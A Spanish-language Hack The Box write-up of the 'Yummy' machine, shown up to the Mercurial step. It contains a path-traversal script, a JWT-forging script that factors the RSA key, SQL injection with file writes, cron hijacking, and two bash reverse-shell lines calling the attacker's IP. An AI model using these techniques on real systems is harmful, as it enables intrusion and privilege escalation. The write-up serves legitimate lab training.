Hack The Box: Yummy Writeup | Hard

Table of Contents

Hack The Box: Yummy Writeup

Welcome to my detailed writeup of the hard difficulty machine “Yummy” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.29.218  --ulimit 5000 -g
210.129.29.218 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.29.218 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 14:35 CEST
 3Nmap scan report for 10.129.29.218
 4Host is up (0.047s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
10|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
1180/tcp open  http    Caddy httpd
12|_http-server-header: Caddy
13|_http-title: Did not follow redirect to http://yummy.htb/
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 11.16 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.29.218 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 14:35 CEST
 3Nmap scan report for 10.129.29.218
 4Host is up (0.057s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 719695/udp closed unknown
 821358/udp closed unknown
 922215/udp closed unknown
1025366/udp closed unknown
1125514/udp closed unknown
1238412/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds

Del escaneo inicial detectamos varias cosas que me llama la atención. La primera es que no se está utilizando un apache2 o nginx de webserver, si no caddy, algo no muy común.

Y la segunda es el dominio yummy.htb, lo añadimos al /etc/hosts

HTTP Enumeration

Como no hay mas puntos de entradas, vamos a enumerar el servicio HTTP.

whatweb no nos reporta nada interesante.

1$ whatweb http://yummy.htb
2http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.129.29.218], Lightbox, Script, Title[Yummy]

El sitio web se ve así. Write-up Image

Vemos un formulario que en principio es funcional y se dirige a /book por POST Write-up Image

Podemos crearnos una cuenta. Write-up Image

Accedemos a un panel de usuario. Write-up Image

Ahora podemos hacer una reserva con el correo electrónico de nuestra cuenta. Write-up Image

Y lo vemos reflejado en nuestro panel de usuario. Write-up Image

También encontramos algunos posibles usuarios, así que vamos a hacer una pequeña lista de usuarios con los nombres. Write-up Image

 1$ cat users.txt 
 2w.white
 3s.jhonson
 4w.anderson
 5walterwhite
 6walter
 7wwhite
 8sarahjhonson
 9sjhonson
10sarah
11wanderson
12williamanderson
13william

Descargando una reserva. Write-up Image

Y viendo los metadatos con exiftool

 1$ exiftool Yummy_reservation_20241007_105132.ics 
 2ExifTool Version Number         : 12.57
 3File Name                       : Yummy_reservation_20241007_105132.ics
 4Directory                       : .
 5File Size                       : 278 bytes
 6File Modification Date/Time     : 2024:10:07 14:51:31+02:00
 7File Access Date/Time           : 2024:10:07 14:51:31+02:00
 8File Inode Change Date/Time     : 2024:10:07 14:51:38+02:00
 9File Permissions                : -rw-r--r--
10File Type                       : ICS
11File Type Extension             : ics
12MIME Type                       : text/calendar
13VCalendar Version               : 2.0
14Software                        : ics.py - http://git.io/lLljaA
15Description                     : Email: pointed@pointed.com.Number of People: 4.Message: testtest
16Date Time Start                 : 2024:10:07 00:00:00Z
17Summary                         : test
18UID                             : e5af8be6-05e7-443f-ac7a-69cc9ada2e8a@e5af.org

Sabemos que este archivo iCalendar se ha generado utilizando ics-py. https://github.com/ics-py/ics-py

Local File Inclusion / Directory Path Traversal

Interceptando las peticiones de como se descarga el archivo ics, vemos lo siguiente.

Primero se hace un GET a /reminder/ID utilizando la cookie de autenticación del usuario. Write-up Image

Si interceptamos la respuesta vemos que el servidor nos establece una cookie de sesión temporal para esta solicitud y nos redirecciona a /export/ARCHIVO Write-up Image

Ahora si cambiamos la ruta del archivo a descargar, y establecemos por ejemplo el /etc/passwd Write-up Image

Podemos interceptar la respuesta a esta petición y vemos que se acontece el Directory Path Traversal. Write-up Image

Script It!

Lo malo es que solo se puede acontecer el LFI una vez ya que el servidor espera recibir una cookie de sesión única por petición de descarga, así que vamos a hacer un pequeño script en Python para automatizar el LFI.

 1#!/usr/bin/python3
 2import requests
 3
 4URL = "http://yummy.htb"
 5X_AUTH_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20iLCJyb2xlIjoiY3VzdG9tZXJfZTA5ZmM2ZjMiLCJpYXQiOjE3MjgyOTc2MjYsImV4cCI6MTcyODMwMTIyNiwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI3MTc2NTY1ODUyMzQzNjU2NDEwNDYzMzAyNTM2MjkwMjA4ODY3OTA0ODU0NzY3MjY0OTk1MzY5NTQwOTc0NTE4MDU2NDA0MzYzNjk1MzE5MzE2MTIyMzE1Nzg2MDA0MTA4MzUwODkxNzM1MTg1NzE0NDY4NTY2NTkwNzA1MTY0NDM4MDY3OTE2OTg4MDI3MzMzNDgzNjYzMjI4MDk5ODgyMzgwNTcxMzQ5NTUyODk5NjY2OTE1ODY3MjI5NTg2NDgxNDk4MDk4NTA1MDU1OTMwNzAxNzYxNjk1OTQ1MjM5Nzg0NjM5Nzk3MTI1MjM4MDI4MDY2Nzg5OTcwNDM1ODEwNjQxNTMxNDY5NTUwMjE5MDAzMTc3ODExMTg2NjM0MTU0NTgyMDY3MjUxOTY3NDU0MTgyOTM4MjE4MSIsImUiOjY1NTM3fX0.Ax0lxOe3nzqjf_K32oeg7KGj2_wXTS3fX-9OchlK9FhN6uHT3wh8N3NdiXixbea8rKxsS0lt1jWazaLU0XQFDCKSs1uQ2cg3LrpcS0MbTgwa03D6ZWH7QTw4jWd387GRfKQuUNQ2ihbfn7ZDTl7EjS5ZSE4eVSb3oXq4ryLsJdzDovM"
 6REMINDER_ID = 21
 7
 8burp={
 9    "http":"http://localhost:8080",
10    "https":"http://localhost:8080"
11}
12
13def get_reminder_session():
14    cookies={
15        "X-AUTH-Token": X_AUTH_TOKEN
16    }
17    r = requests.get(URL+"/reminder/"+str(REMINDER_ID),cookies=cookies, allow_redirects=False, proxies=burp)
18    session_cookie = r.cookies.get("session")
19    if not session_cookie:
20        print("[+] Session cookie not found, check the reservation ID or AUTH TOKEN")
21        exit(1)
22    return session_cookie
23    
24def lfi(file):
25    session_cookie = get_reminder_session()
26    cookies = {
27        "X-AUTH-Token": X_AUTH_TOKEN,
28        "session": session_cookie
29    }
30    url = URL+"/export/"+file
31    s = requests.Session()
32    req = requests.Request(method='GET', url=url,cookies=cookies)
33    prep = req.prepare()
34    prep.url = url
35    r = s.send(prep,verify=False)
36    print(r.text)
37
38if __name__ == "__main__":
39    while True:
40        file = input("File: ")
41        lfi(file)

Output de ejemplo.

 1$ python3 lfi.py                                                                  
 2File: ../../../../../../etc/passwd                                                        
 3root:x:0:0:root:/root:/bin/bash                                                           
 4daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                           
 5bin:x:2:2:bin:/bin:/usr/sbin/nologin                                                      
 6sys:x:3:3:sys:/dev:/usr/sbin/nologin                                                      
 7sync:x:4:65534:sync:/bin:/bin/sync                                                        
 8games:x:5:60:games:/usr/games:/usr/sbin/nologin
 9man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
10lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
11mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
12news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
13uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
14proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
15www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
16backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
17list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
18...

Viendo el /etc/passwd detectamos dos usuarios, dev y qa Write-up Image

Como se está utilizando un servidor web Caddy, busqué donde se almacena el archivo de configuración pero no encontré nada interesante, simplemente hace de reverse proxy.

 1File: ../../../../../../etc/caddy/Caddyfile
 2:80 {
 3    @ip {
 4        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
 5    }
 6    redir @ip http://yummy.htb{uri}
 7    reverse_proxy 127.0.0.1:3000 {
 8    header_down -Server  
 9    }
10}

En el archivo /etc/crontab encontramos varias tareas las cuales refieren a scripts personalizados.

 1File: ../../../../../../etc/crontab
 2# /etc/crontab: system-wide crontab
 3# Unlike any other crontab you don't have to run the `crontab'
 4# command to install the new version when you edit this file
 5# and files in /etc/cron.d. These files also have username fields,
 6# that none of the other crontabs do.
 7
 8SHELL=/bin/sh
 9# You can also override PATH, but by default, newer versions inherit it from the environment
10#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
11
12# Example of job definition:
13# .---------------- minute (0 - 59)
14# |  .------------- hour (0 - 23)
15# |  |  .---------- day of month (1 - 31)
16# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
17# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
18# |  |  |  |  |
19# *  *  *  *  * user-name command to be executed
2017 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
2125 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
2247 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
2352 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
24#
25*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
26*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
27* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

app_backup.sh

1File: ../../../../../../../data/scripts/app_backup.sh                                     
2#!/bin/bash                                                                               
3                                                                                          
4cd /var/www                                                                               
5/usr/bin/rm backupapp.zip                                                                 
6/usr/bin/zip -r backupapp.zip /opt/app

table_cleanup.sh

1File: ../../../../../../../data/scripts/table_cleanup.sh                                  
2#!/bin/sh                                                                                 
3                                                                                          
4/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

dbmonitor.sh

 1File: ../../../../../../../data/scripts/dbmonitor.sh                                                                                         15:38:00 [0/1250]
 2#!/bin/bash                                                                               
 3                                                                                                                                        
 4timestamp=$(/usr/bin/date)                                                                                                              
 5service=mysql                                                                                                   
 6response=$(/usr/bin/systemctl is-active mysql)                                            
 7                                                                                                                
 8if [ "$response" != 'active' ]; then                                                                                                    
 9    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json                                            
10    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root               
11    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)                         
12    /bin/bash "$latest_version"                                                                                                         
13else                                                                                      
14    if [ -f /data/scripts/dbstatus.json ]; then                                                                                         
15        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then                                                     
16            /usr/bin/echo "The database was down at $timestamp. Sending notification."                                                  
17            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root                                    
18            /usr/bin/rm -f /data/scripts/dbstatus.json                                    
19        else                      
20            /usr/bin/rm -f /data/scripts/dbstatus.json                                                          
21            /usr/bin/echo "The automation failed in some way, attempting to fix it."                                                                          
22            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)                                       
23            /bin/bash "$latest_version"                                        
24        fi                                                                                                                              
25    else                               
26        /usr/bin/echo "Response is OK."                                        
27    fi                            
28fi                                     
29
30[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json 

Encontramos unas credenciales para acceder a la base de datos, 3wDo7gSRZIwIHRxZ!

Pero no son válidas ni para dev ni para qa para acceder por SSH.

Revisando el script SQL no encontramos nada, así que vamos a intentar descargar el archivo ZIP.

Exploring Application Backup

Vamos a repetir el proceso del LFI para descargarnos el ZIP desde el navegador. Write-up Image

Es un archivo que pesa 6.5MB.

1$ ls -la --human-readable backupapp.zip 
2-rw-r--r-- 1 pointedsec pointedsec 6,5M oct  7 15:46 backupapp.zip

Y parece que tenemos una aplicación hecha en Flask.

1$ ls
2app.py  config  middleware  __pycache__  static  templates

Vemos las mismas credenciales que hemos visto antes. Write-up Image

Vemos una ruta /admindashboard que hace uso de una función validate_login() para comprobar si nuestro usuario es administrador. Write-up Image

La función validate_login()es la siguiente.

 1def validate_login():
 2    try:
 3        (email, current_role), status_code = verify_token()
 4        if email and status_code == 200 and current_role == "administrator":
 5            return current_role
 6        elif email and status_code == 200:
 7            return email
 8        else:
 9            raise Exception("Invalid token")
10    except Exception as e:
11        return None

Lo que hace es verificar nuestro token JWT y ver si tenemos el rol de administrator

Nosotros no tenemos ese rol, obviamente. Write-up Image

Obtaining administrator role -> RSA Key Exposure

Para poder modificar este JWT y generar nuestro propio JWT hay que entender como funcionan los token JWT.

Estos tokens son ampliamente utilizados en aplicaciones web para autenticación, autorización y transmisión de información de manera segura.

Estructura de un JWT

Un JWT está compuesto por tres partes separadas por puntos (.):

  1. Header (Encabezado)
  2. Payload (Carga útil)
  3. Signature (Firma)

1. Header (Encabezado)

El encabezado típicamente consta de dos partes:

Ejemplo:

1{ "alg": "HS256", "typ": "JWT" }

Este JSON se codifica en Base64Url para formar la primera parte del token.

2. Payload (Carga útil)

El payload contiene las reclamaciones (claims), que son declaraciones sobre una entidad (generalmente, el usuario) y metadatos adicionales. Hay tres tipos de reclamaciones:

Este JSON también se codifica en Base64Url para formar la segunda parte del token.

3. Signature (Firma)

Para crear la firma, se toma el encabezado codificado, el payload codificado, se les concatena con un punto (.) y se firma usando el algoritmo especificado en el encabezado junto con una clave secreta o clave privada.

Ahora, hay que entender en que punto estamos.

El payload del token incluye el rol del usuario (role) y la clave pública (n y e) del par RSA. Write-up Image

Aprovechar la clave RSA:

Suponiendo que se utiliza el mismo par de claves generadas, podemos aprovechar que tenemos el valor de n y de e para generar la clave privada utilizada para nuestro token JWT, y de esta forma modificar el token y volverlo a firmar con la clave privada lo que haría que sea un token JWT válido para el servidor.

Después de un buen rato utilizando ChatGPT y un par de pistas…

 1import base64                                                                                                                                                                                                                                                                                                                
 2import json                                                                                                                                                                                                                                                                                                                  
 3import jwt                                                                                                                                                                                                                                                                                                                   
 4from Crypto.PublicKey import RSA                                                                                                                                                                                                                                                                                             
 5from cryptography.hazmat.backends import default_backend                                                                                                                                                                                                                                                                     
 6from cryptography.hazmat.primitives import serialization                                                                                                                                                                                                                                                                     
 7import sympy                                                                                                                                                                                                                                                                                                                 
 8from datetime import datetime, timedelta, timezone                                                                                                                                                                                                                                                                           
 9                                                                                                                                                                                                                                                                                                                             
10# Tu token original                                                                                                                                                                                                                                                                                                          
11token = ""  # Reemplaza con tu token real                                                                                                          
12                                                                                                                                                                                                                                                                                                                             
13def add_padding(b64_str):                                                                                                                                                                                                                                                                                                    
14    while len(b64_str) % 4 != 0:                                                                                                                                                                                                                                                                                             
15        b64_str += '='                                                                                                                                                                                                                                                                                                       
16    return b64_str                                                                                                                                                                                                                                                                                                           
17                                                                                                                                                                                                                                                                                                                             
18def base64url_decode(input_str):                                                                                                                                                                                                                                                                                             
19    input_str = add_padding(input_str)                                                                                                                                                                                                                                                                                       
20    input_str = input_str.replace('-', '+').replace('_', '/')                                                                                                                                                                                                                                                                
21    return base64.b64decode(input_str)                                                                                                                                                                                                                                                                                       
22                                                                                                                                                                                                                                                                                                                             
23# Decodificar el payload del token                                                                                                                                                                                                                                                                                           
24payload_encoded = token.split(".")[1]                                                                                                                                                                                                                                                                                        
25decoded_payload = json.loads(base64url_decode(payload_encoded).decode())                                                                                                                                                                                                                                                     
26                                                                                                                                        
27# Extraer 'n' de JWK y factorizar para obtener 'p' y 'q'                                                                                
28n = int(decoded_payload["jwk"]['n'])                                                                                                    
29p, q = list(sympy.factorint(n).keys())                                                                                                  
30e = 65537                                                                                                                               
31phi_n = (p - 1) * (q - 1)                                                                                                               
32d = pow(e, -1, phi_n)                                                                                                                   
33key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}                                                                                     
34                                                                                                                                        
35# Construcción de la clave RSA usando PyCryptodome                                                                                      
36key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))                                        
37private_key_bytes = key.export_key()                                                                                                    
38                                                                                                                                        
39# Cargar la clave privada usando cryptography                                                                                           
40private_key = serialization.load_pem_private_key(                                                                                       
41    private_key_bytes,                                                                                                                  
42    password=None,                                                                                                                      
43    backend=default_backend()                                                                                                           
44)                                                                                                                                       
45public_key = private_key.public_key()                                                                                                   
46                                                                                                                                        
47# Decodificar el token original sin verificar la firma ni la expiración                                                                 
48try:                                                                                                                                    
49    original_data = jwt.decode(                                                                                                         
50        token,                                                                                                                          
51        public_key,                                                                                                                     
52        algorithms=["RS256"],          
53        options={"verify_signature": False, "verify_exp": False}               
54    )                                  
55except jwt.ExpiredSignatureError:      
56    # Aunque hemos desactivado la verificación de expiración, es bueno manejar posibles excepciones                                                           
57    original_data = jwt.decode(        
58        token,                                 
59        public_key,                            
60        algorithms=["RS256"],                  
61        options={"verify_signature": False, "verify_exp": False}
62        )                                                                          
63
64# Modificar el rol a "administrator"                                           
65original_data["role"] = "administrator"                                        
66
67# Actualizar 'iat' y 'exp'                                                     
68original_data["iat"] = datetime.now(timezone.utc)                              
69original_data["exp"] = datetime.now(timezone.utc) + timedelta(hours=1)  # Token válido por 1 hora                                                             
70
71# Opcional: Actualizar 'jwk' si es necesario                                   
72original_data["jwk"] = {                                                       
73    'kty': 'RSA',                                                              
74    'n': str(key_data['n']),                                                   
75    'e': str(key_data['e'])                                                    
76}                                                                              
77
78# Serializar la clave privada en formato PEM                                   
79private_key_pem = private_key.private_bytes(                                   
80    encoding=serialization.Encoding.PEM,                                       
81    format=serialization.PrivateFormat.TraditionalOpenSSL,                     
82    encryption_algorithm=serialization.NoEncryption()                          
83)                                                                              
84
85# Generar el nuevo token JWT con el rol modificado                             
86new_token = jwt.encode(original_data, private_key_pem, algorithm="RS256")                                                                                     
87print("Nuevo JWT con rol administrador:", new_token)                           
88
89# Verificar el nuevo token (opcional)                                          
90decoded_new_token = jwt.decode(new_token, public_key, algorithms=["RS256"])                                                                                   
91print("Contenido del nuevo JWT:", decoded_new_token) 

Ahora si intentamos acceder al panel administrativo con un token que no es válido, vemos que se nos redirecciona a /login Write-up Image

Si iniciamos sesión y copiamos nuestro token al script. Write-up Image

Y ejecutamos el script, vemos que nos devuelve otro token distinto.

1$ python3 gentoken.py 
2Nuevo JWT con rol administrador: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InBvaW50ZWRAcG9pbnRlZC5jb20iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODMwNDM4OSwiZXhwIjoxNzI4MzA3OTg5LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjcxNzY1NjU4NTIzNDM2NTY0MTA0NjMzMDI1MzYyOTAyMDg4Njc5MDQ4NTQ3NjcyNjQ5OTUzNjk1NDA5NzQ1MTgwNTY0MDQzNjM2OTUzMTkzMTYxMjIzMTU3ODYwMDQxMDgzNTA4OTE3MzUxODU3MTQ0Njg1NjY1OTA3MDUxNjQ0MzgwNjc5MTY5ODgwMjczMzM0ODM2NjMyMjgwOTk4ODIzODA1NzEzNDk1NTI4OTk2NjY5MTU4NjcyMjk1ODY0ODE0OTgwOTg1MDUwNTU5MzA3MDE3NjE2OTU5NDUyMzk3ODQ2Mzk3OTcxMjUyMzgwMjgwNjY3ODk5NzA0MzU4MTA2NDE1MzE0Njk1NTAyMTkwMDMxNzc4MTExODY2MzQxNTQ1ODIwNjcyNTE5Njc0NTQxODI5MzgyMTgxIiwiZSI6IjY1NTM3In19.BBNhJ_EQR1jXteQFpHvGEZQGP7Gqss7_GeYOnLKaU5XCESPANcNsnFrTRMs3mOzb432lP5Q_l_sJoOLZ0eE25EVSXK_iU02-yMviiK-REzmvVc4j0xHsmXX1mdaDCn9AoXn-5TKJzirvzm2ykNYqM27beHtS6BYXvQNrItlBl0VM0hg
3Contenido del nuevo JWT: {'email': 'pointed@pointed.com', 'role': 'administrator', 'iat': 1728304389, 'exp': 1728307989, 'jwk': {'kty': 'RSA', 'n': '71765658523436564104633025362902088679048547672649953695409745180564043636953193161223157860041083508917351857144685665907051644380679169880273334836632280998823805713495528996669158672295864814980985050559307017616959452397846397971252380280667899704358106415314695502190031778111866341545820672519674541829382181', 'e': '65537'}}

Este token ha hecho todo el proceso mencionado anteriormente, por lo cual supuestamente es un token JWT válido firmado por la clave privada que está utilizando el servidor pero con el rol de administrator

En jwt.io lo podemos comprobar también. Write-up Image

Ahora si utilizamos este token para acceder al panel administrativo, nos devuelve un 200 OK. Write-up Image

IMPORTANTE Estuve un rato volviendome loco pensando en porque no funcionaba la firma del nuevo token JWT si lógicamente todo estaba bien, hasta que me di cuenta de que la hora de mi sistema y la de la máquina víctima no estaban sincronizadas, y estas deben de estarlo para poder crear el token válido por los valores iat y exp

Para ello podemos utilizar el one-liner que nos recomienda el repositorio de htpdate

1sudo date -s "`curl --head -s http://yummy.htb | grep -i "Date: " | cut -d' ' -f2-`"

Y ahora generando otra vez el JWT en principio debería de ser válido.

Y ya modificando la cookie X-AUTH-Token por la generada, podemos acceder por el navegador al panel administrativo mas cómodamente. Write-up Image

Abusing FILE privilege -> Foothold

En este punto no se bien que hacer ya que me he ido dejando llevar por la intuición, así que vamos a revisar otra vez el código para ver que funciones tiene el panel administrativo.

Write-up Image

Revisando el código parece que se acontece una Inyección SQL mediante el parámetro o ya que de ninguna manera está sanitizado el input del usuario.

1search_query = request.args.get('s', '')
2
3                # added option to order the reservations
4                order_query = request.args.get('o', '')
5
6                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
7                cursor.execute(sql, ('%' + search_query + '%',))

Vemos en el código que se utiliza cursor.execute y de forma interna se sanitiza el input del parámetro s pero nunca se sanitiza el input del parámetro o

Vamos a confirmar la inyección utilizando sqlmap

La consulta por detrás se ve mas o menos así

1SELECT * FROM appointments WHERE appointment_email LIKE '%loquesea%' order by appointment_date ASC

Por lo cual tiene sentido que si s está vacío, se nos devuelva todos los valores, ya que la consulta sería LIKE '%%'

Pero a través del parámetro o podemos modificar el valor del order by y podríamos hacer algo así (por ejemplo).

1SELECT * FROM appointments WHERE appointment_email LIKE '%loquesea%' order by appointment_date ASC; select * from users;

Vemos que podemos ver los errores MySQL. Write-up Image

Si hacemos un select "prueba" into outfile '/tmp/prueba.txt' parece que no pasa nada, esto es buena señal. Write-up Image

Si lo intentamos hacer otra vez nos dice que este archivo ya existe. Write-up Image

A través del LFI por alguna razón no puedo leer el archivo. Write-up Image

Esto significa que el usuario que está ejecutando las consultas SQL por detrás tiene el nodo FILE activado, por lo cual tiene permisos para escribir archivos.

Abusing dbmonitor.sh script

Analizando este script, podemos ver una parte interesante.

 1if [ -f /data/scripts/dbstatus.json ]; then
 2        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
 3            /usr/bin/echo "The database was down at $timestamp. Sending notification."
 4            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
 5            /usr/bin/rm -f /data/scripts/dbstatus.json
 6        else
 7            /usr/bin/rm -f /data/scripts/dbstatus.json
 8            /usr/bin/echo "The automation failed in some way, attempting to fix it."
 9            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
10            /bin/bash "$latest_version"
11        fi
12    else
13        /usr/bin/echo "Response is OK."
14    fi

Si el archivo /data/scripts/dbstatus.json existe, y no contiene la cadena database is downse elimina el archivo dbstatus.json y hace una cosa de la cual nos podemos aprovechar. Ejecuta a nivel de sistema este comando.

1/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1

Y luego el resultado, lo ejecuta por bash.

Por lo cual podríamos crear nosotros un archivo dbstatus.json con lo que sea para que cuando este script se ejecute salte directamente a la parte de código vulnerable que nos interesa.

Y también antes de eso, podemos crear un archivo /data/scripts/fixer-v_____ para que ordenado, salga como primer resultado y se ejecute a nivel de sistema, en este archivo podemos incluir una revshell.

Entonces, creamos nuestro archivo rev.sh

1$ cat rev.sh 
2#!/bin/bash
3
4bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"

Lo servimos por el puerto 8081.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Creamos el archivo el cual vamos a utilizar para mandarnos la revshell, simplemente esto ejecutará a nivel de sistema una petición para conseguir nuestro archivo de rev.sh y lo ejecutará a nivel de sistema. Write-up Image

Ahora creamos el archivo dbstatus.json con lo que sea. Write-up Image

Nos ponemos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443

Y esperando un poco ganamos acceso al sistema como el usuario mysql

 1$ sudo pwncat-cs -lp 443
 2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
 3  'class': algorithms.Blowfish,
 4[15:24:21] Welcome to pwncat 🐈!                                                                                                               __main__.py:164
 5[15:26:00] received connection from 10.129.29.218:57498                                                                                             bind.py:84
 6[15:26:02] 10.129.29.218:57498: registered new host w/ db                                                                                       manager.py:957
 7(local) pwncat$                                                                                                                                               
 8(remote) mysql@yummy:/var/spool/cron$ id
 9uid=110(mysql) gid=110(mysql) groups=110(mysql)
10(remote) mysql@yummy:/var/spool/cron$

Abusing CRON -> User Pivoting 1

Me interesa escalar privilegios a www-data para ver si tenemos algún privilegio adicional y sobre todo porque no podemos acceder a los archivos en `/var/www/qatesting.

1(remote) mysql@yummy:/var/www$ cd app-qatesting/
2bash: cd: app-qatesting/: Permission denied

Viendo los permisos del directorio /data/scripts

 1(remote) mysql@yummy:/data/scripts$ ls -la
 2total 36
 3drwxrwxrwx 2 root  root  4096 Oct  7 13:26 .
 4drwxr-xr-x 3 root  root  4096 Sep 30 08:16 ..
 5-rw-r--r-- 1 root  root    90 Sep 26 15:31 app_backup.sh
 6-rw-r--r-- 1 root  root  1336 Sep 26 15:31 dbmonitor.sh
 7-rw-r----- 1 mysql mysql   33 Oct  7 13:25 fixer-v___
 8-rw-r----- 1 root  root    60 Oct  7 13:25 fixer-v1.0.1.sh
 9-rw-r--r-- 1 root  root  5570 Sep 26 15:31 sqlappointments.sql
10-rw-r--r-- 1 root  root   114 Sep 26 15:31 table_cleanup.sh

Vemos que tenemos permisos de escritura en este directorio, por lo cual no podemos modificar por ejemplo app_backup.sh ya que no tenemos permisos para ello, pero podemos renombrarlo y crear nuestro propio app_backup.sh que se ejecutará como el usuario www-data cuando se ejecute la tarea CRON.

1(remote) mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.sh.old
2(remote) mysql@yummy:/data/scripts$ nano app_backup.sh
3Unable to create directory /nonexistent/.local/share/nano/: No such file or directory
4It is required for saving/loading search history or cursor positions.
5
6(remote) mysql@yummy:/data/scripts$ cat app_backup.sh
7#!/bin/bash
8
9bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"

Este proceso hay que hacerlo muy rápido, pero si anteriormente estábamos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443
2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3  'class': algorithms.Blowfish,
4[15:29:55] Welcome to pwncat 🐈!                                                                                                               __main__.py:164
5[15:32:59] received connection from 10.129.29.218:46104                                                                                             bind.py:84
6[15:33:01] 10.129.29.218:46104: registered new host w/ db                                                                                       manager.py:957
7(local) pwncat$                                                                                                                                               
8(remote) www-data@yummy:/root$ id
9uid=33(www-data) gid=33(www-data) groups=33(www-data)

Information Disclosure via Mercurial .hg directory -> User Pivoting 2

Ahora ya podemos acceder al directorio /var/www/app-qatesting

 1(remote) www-data@yummy:/var/www/app-qatesting$ ls -la
 2total 40
 3drwxrwx--- 7 www-data qa        4096 May 28 14:41 .
 4drwxr-xr-x 3 www-data www-data  4096 Oct  7 13:34 ..
 5-rw-rw-r-- 1 qa       qa       10852 May 28 14:37 app.py
 6drwxr-xr-x 3 qa       qa        4096 May 28 14:26 config
 7drwxrwxr-x 6 qa       qa        4096 May 28 14:37 .hg
 8drwxr-xr-x 3 qa       qa        4096 May 28 14:26 middleware
 9drwxr-xr-x 6 qa       qa        4096 May 28 14:26 static
10drwxr-xr-x 2 qa       qa        4096 May 28 14:26 templates

Vemos un directorio oculto llamado .hg, esto corresponde a un servicio de control de versiones como Git llamado Mercurial, al igual que Git crea un directorio .git, Mercurial crea un directorio .hg

Podemos ejecutar un find . y vemos que hay muchos archivos.

